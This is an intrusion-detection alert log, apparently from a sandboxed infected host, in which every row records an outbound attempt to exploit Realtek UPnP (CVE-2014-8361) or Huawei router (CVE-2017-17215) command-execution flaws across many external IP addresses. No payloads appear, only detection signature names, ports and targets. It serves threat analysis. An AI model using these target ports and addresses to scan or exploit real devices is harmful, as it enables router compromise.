2024-10-06T20:02:02.905811+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58764	197.69.145.255	52869	TCP
2024-10-06T20:02:02.905936+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37746	197.132.166.75	52869	TCP
2024-10-06T20:02:02.906017+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34776	156.37.204.105	52869	TCP
2024-10-06T20:02:02.906139+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56992	156.144.125.8	52869	TCP
2024-10-06T20:02:02.906371+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51764	197.96.21.151	52869	TCP
2024-10-06T20:02:02.906447+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37146	197.216.6.12	52869	TCP
2024-10-06T20:02:02.906564+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34592	197.241.65.144	52869	TCP
2024-10-06T20:02:02.907421+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44442	197.236.101.172	52869	TCP
2024-10-06T20:02:02.907482+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38952	156.170.2.58	52869	TCP
2024-10-06T20:02:02.908039+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48256	197.17.218.35	52869	TCP
2024-10-06T20:02:02.910148+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33018	156.128.148.189	52869	TCP
2024-10-06T20:02:02.910335+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43674	156.185.94.33	52869	TCP
2024-10-06T20:02:02.912079+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48178	41.7.21.222	52869	TCP
2024-10-06T20:02:02.912273+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	32936	197.175.21.35	52869	TCP
2024-10-06T20:02:02.921453+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57822	197.5.138.213	52869	TCP
2024-10-06T20:02:02.921496+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44684	197.39.141.100	52869	TCP
2024-10-06T20:02:02.921876+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48156	197.64.211.210	52869	TCP
2024-10-06T20:02:02.921991+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44352	197.109.104.86	52869	TCP
2024-10-06T20:02:02.922788+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52030	41.183.235.184	52869	TCP
2024-10-06T20:02:02.924831+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56492	156.46.224.223	52869	TCP
2024-10-06T20:02:02.924901+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44978	197.125.26.181	52869	TCP
2024-10-06T20:02:02.925072+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34750	41.81.77.10	52869	TCP
2024-10-06T20:02:02.925510+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45918	156.192.188.185	52869	TCP
2024-10-06T20:02:02.926609+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57156	156.217.208.240	52869	TCP
2024-10-06T20:02:02.936773+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38616	197.163.19.154	52869	TCP
2024-10-06T20:02:02.940513+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45106	197.58.178.102	52869	TCP
2024-10-06T20:02:03.890056+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37392	41.233.14.53	52869	TCP
2024-10-06T20:02:03.905795+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41754	156.136.62.177	52869	TCP
2024-10-06T20:02:03.905838+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43326	197.101.253.42	52869	TCP
2024-10-06T20:02:03.905904+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45682	197.45.229.37	52869	TCP
2024-10-06T20:02:03.905964+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56304	41.180.52.16	52869	TCP
2024-10-06T20:02:03.905973+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60408	197.176.227.237	52869	TCP
2024-10-06T20:02:03.906094+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45836	41.58.153.171	52869	TCP
2024-10-06T20:02:03.906200+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	46728	41.40.172.66	52869	TCP
2024-10-06T20:02:03.907407+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58624	197.24.239.153	52869	TCP
2024-10-06T20:02:03.907455+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47282	197.54.90.23	52869	TCP
2024-10-06T20:02:03.909425+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58726	156.96.135.224	52869	TCP
2024-10-06T20:02:03.921803+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52506	197.75.247.153	52869	TCP
2024-10-06T20:02:03.921892+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58170	156.30.141.51	52869	TCP
2024-10-06T20:02:03.922198+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	52938	41.243.183.129	52869	TCP
2024-10-06T20:02:03.923031+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40996	41.213.178.133	52869	TCP
2024-10-06T20:02:03.923111+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43640	156.179.228.195	52869	TCP
2024-10-06T20:02:03.923266+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50368	197.31.1.210	52869	TCP
2024-10-06T20:02:03.924895+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45954	41.226.109.75	52869	TCP
2024-10-06T20:02:03.924918+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49910	197.115.195.165	52869	TCP
2024-10-06T20:02:03.925003+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55058	41.198.47.83	52869	TCP
2024-10-06T20:02:03.925066+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43196	156.205.168.139	52869	TCP
2024-10-06T20:02:03.925222+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58826	156.171.1.194	52869	TCP
2024-10-06T20:02:03.925336+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42148	197.46.140.92	52869	TCP
2024-10-06T20:02:03.926935+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54204	197.148.45.126	52869	TCP
2024-10-06T20:02:03.927023+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49978	41.99.11.187	52869	TCP
2024-10-06T20:02:03.940754+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34208	197.17.255.175	52869	TCP
2024-10-06T20:02:04.015207+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60326	156.25.242.63	37215	TCP
2024-10-06T20:02:04.036553+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59112	197.167.102.178	37215	TCP
2024-10-06T20:02:04.178787+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46048	197.80.10.39	37215	TCP
2024-10-06T20:02:04.987568+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51734	41.61.18.252	52869	TCP
2024-10-06T20:02:04.987867+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59840	197.13.151.97	52869	TCP
2024-10-06T20:02:04.999506+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58250	41.159.225.231	52869	TCP
2024-10-06T20:02:04.999515+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59280	41.181.90.174	52869	TCP
2024-10-06T20:02:05.006584+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56662	41.123.32.19	52869	TCP
2024-10-06T20:02:05.016838+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57822	41.82.71.7	52869	TCP
2024-10-06T20:02:05.018923+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49678	41.148.162.74	52869	TCP
2024-10-06T20:02:05.936369+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40652	197.216.27.159	52869	TCP
2024-10-06T20:02:05.952475+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	42412	41.230.183.35	52869	TCP
2024-10-06T20:02:05.967549+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40338	41.13.194.249	52869	TCP
2024-10-06T20:02:05.968138+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47216	156.169.117.155	52869	TCP
2024-10-06T20:02:05.999505+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39630	197.236.45.176	52869	TCP
2024-10-06T20:02:06.016913+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39898	156.22.76.121	52869	TCP
2024-10-06T20:02:06.017035+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51176	197.7.155.152	52869	TCP
2024-10-06T20:02:06.018865+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35784	197.219.77.107	52869	TCP
2024-10-06T20:02:06.018903+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	37126	156.254.184.38	52869	TCP
2024-10-06T20:02:06.124718+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50610	156.235.8.66	52869	TCP
2024-10-06T20:02:06.968908+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	35380	41.228.67.29	52869	TCP
2024-10-06T20:02:06.983828+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60644	197.158.103.105	52869	TCP
2024-10-06T20:02:06.983955+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43836	197.251.115.50	52869	TCP
2024-10-06T20:02:06.984052+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34158	41.226.20.42	52869	TCP
2024-10-06T20:02:06.984422+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	39092	41.253.249.41	52869	TCP
2024-10-06T20:02:06.985672+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	43466	197.157.202.129	52869	TCP
2024-10-06T20:02:06.999045+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55200	41.44.140.36	52869	TCP
2024-10-06T20:02:06.999572+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	51580	41.13.9.25	52869	TCP
2024-10-06T20:02:07.015091+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54834	41.218.49.75	52869	TCP
2024-10-06T20:02:07.015102+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49236	156.228.67.136	52869	TCP
2024-10-06T20:02:07.030690+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45388	197.191.204.23	52869	TCP
2024-10-06T20:02:07.046407+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	48882	41.15.219.211	52869	TCP
2024-10-06T20:02:07.094126+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47132	41.148.33.67	52869	TCP
2024-10-06T20:02:07.144511+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59464	197.107.155.105	52869	TCP
2024-10-06T20:02:07.985666+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38594	41.238.249.193	52869	TCP
2024-10-06T20:02:07.998907+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	45360	41.42.206.30	52869	TCP
2024-10-06T20:02:07.999514+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34806	41.85.78.129	52869	TCP
2024-10-06T20:02:07.999520+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53040	156.210.108.229	52869	TCP
2024-10-06T20:02:08.015151+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54830	41.98.31.233	52869	TCP
2024-10-06T20:02:08.015403+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	59018	156.72.250.194	52869	TCP
2024-10-06T20:02:08.016684+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	41558	197.60.235.92	52869	TCP
2024-10-06T20:02:08.018783+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50850	197.128.237.160	52869	TCP
2024-10-06T20:02:08.018906+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53102	197.72.55.19	52869	TCP
2024-10-06T20:02:08.018925+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	34854	197.43.136.7	52869	TCP
2024-10-06T20:02:08.018985+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54370	197.184.33.50	52869	TCP
2024-10-06T20:02:08.019107+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58112	197.195.155.84	52869	TCP
2024-10-06T20:02:08.019253+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53372	197.133.138.141	52869	TCP
2024-10-06T20:02:08.019461+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44900	41.53.217.206	52869	TCP
2024-10-06T20:02:08.032581+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	49838	41.9.235.230	52869	TCP
2024-10-06T20:02:08.034448+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	53734	156.187.151.248	52869	TCP
2024-10-06T20:02:08.034448+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	47014	41.63.200.243	52869	TCP
2024-10-06T20:02:08.036396+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40508	156.202.160.142	52869	TCP
2024-10-06T20:02:08.061956+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	44350	197.168.152.138	52869	TCP
2024-10-06T20:02:08.061969+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	40094	41.122.118.239	52869	TCP
2024-10-06T20:02:08.093377+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58888	197.110.89.224	52869	TCP
2024-10-06T20:02:08.094479+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33812	41.80.76.228	52869	TCP
2024-10-06T20:02:08.098872+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55868	41.16.149.157	52869	TCP
2024-10-06T20:02:08.330116+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	56982	156.154.245.185	52869	TCP
2024-10-06T20:02:09.043793+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	55816	41.57.101.134	52869	TCP
2024-10-06T20:02:09.046386+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	57328	156.247.125.222	52869	TCP
2024-10-06T20:02:09.063736+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	33950	156.214.229.255	52869	TCP
2024-10-06T20:02:09.114878+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	60640	41.39.163.238	52869	TCP
2024-10-06T20:02:10.031015+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44482	197.134.238.155	37215	TCP
2024-10-06T20:02:10.043358+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	50538	197.33.88.7	52869	TCP
2024-10-06T20:02:10.048101+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35342	197.136.208.188	37215	TCP
2024-10-06T20:02:10.050486+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33456	197.214.93.236	37215	TCP
2024-10-06T20:02:10.110936+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57784	41.183.92.92	37215	TCP
2024-10-06T20:02:10.111003+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59298	197.151.150.162	37215	TCP
2024-10-06T20:02:10.125453+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58816	41.114.219.198	52869	TCP
2024-10-06T20:02:11.030574+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36972	197.249.230.52	37215	TCP
2024-10-06T20:02:11.031080+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36322	41.81.233.103	37215	TCP
2024-10-06T20:02:11.031086+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54630	41.215.92.0	37215	TCP
2024-10-06T20:02:11.062104+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40828	156.184.102.212	37215	TCP
2024-10-06T20:02:11.077880+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52954	156.187.124.241	37215	TCP
2024-10-06T20:02:11.077884+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47028	41.88.141.73	37215	TCP
2024-10-06T20:02:11.078008+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44166	197.56.151.24	37215	TCP
2024-10-06T20:02:11.078180+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52190	41.107.73.79	37215	TCP
2024-10-06T20:02:11.078227+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58878	41.180.156.181	37215	TCP
2024-10-06T20:02:11.078898+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42284	41.255.120.240	37215	TCP
2024-10-06T20:02:11.079358+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41088	41.6.254.245	37215	TCP
2024-10-06T20:02:11.079358+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42724	41.85.213.200	37215	TCP
2024-10-06T20:02:11.079516+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49402	197.42.65.166	37215	TCP
2024-10-06T20:02:11.081282+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42528	197.216.15.75	37215	TCP
2024-10-06T20:02:11.081769+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	54162	41.236.225.47	52869	TCP
2024-10-06T20:02:11.081915+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35628	41.129.55.197	37215	TCP
2024-10-06T20:02:11.082010+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53918	41.42.166.162	37215	TCP
2024-10-06T20:02:11.083379+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48232	197.21.217.4	37215	TCP
2024-10-06T20:02:11.083569+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60444	197.245.52.254	37215	TCP
2024-10-06T20:02:11.093336+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38758	41.81.36.62	37215	TCP
2024-10-06T20:02:11.095470+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	58966	197.77.227.24	52869	TCP
2024-10-06T20:02:11.097121+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45098	156.235.1.177	37215	TCP
2024-10-06T20:02:11.098968+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47722	41.54.101.160	37215	TCP
2024-10-06T20:02:11.099042+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35990	41.114.134.172	37215	TCP
2024-10-06T20:02:11.099068+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39694	41.50.218.39	37215	TCP
2024-10-06T20:02:11.099275+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52784	41.182.90.194	37215	TCP
2024-10-06T20:02:11.099281+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54034	41.192.235.51	37215	TCP
2024-10-06T20:02:12.099010+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57180	41.219.137.116	37215	TCP
2024-10-06T20:02:12.114890+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38754	156.22.124.199	37215	TCP
2024-10-06T20:02:12.799578+0200	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.15	38154	197.57.209.194	52869	TCP
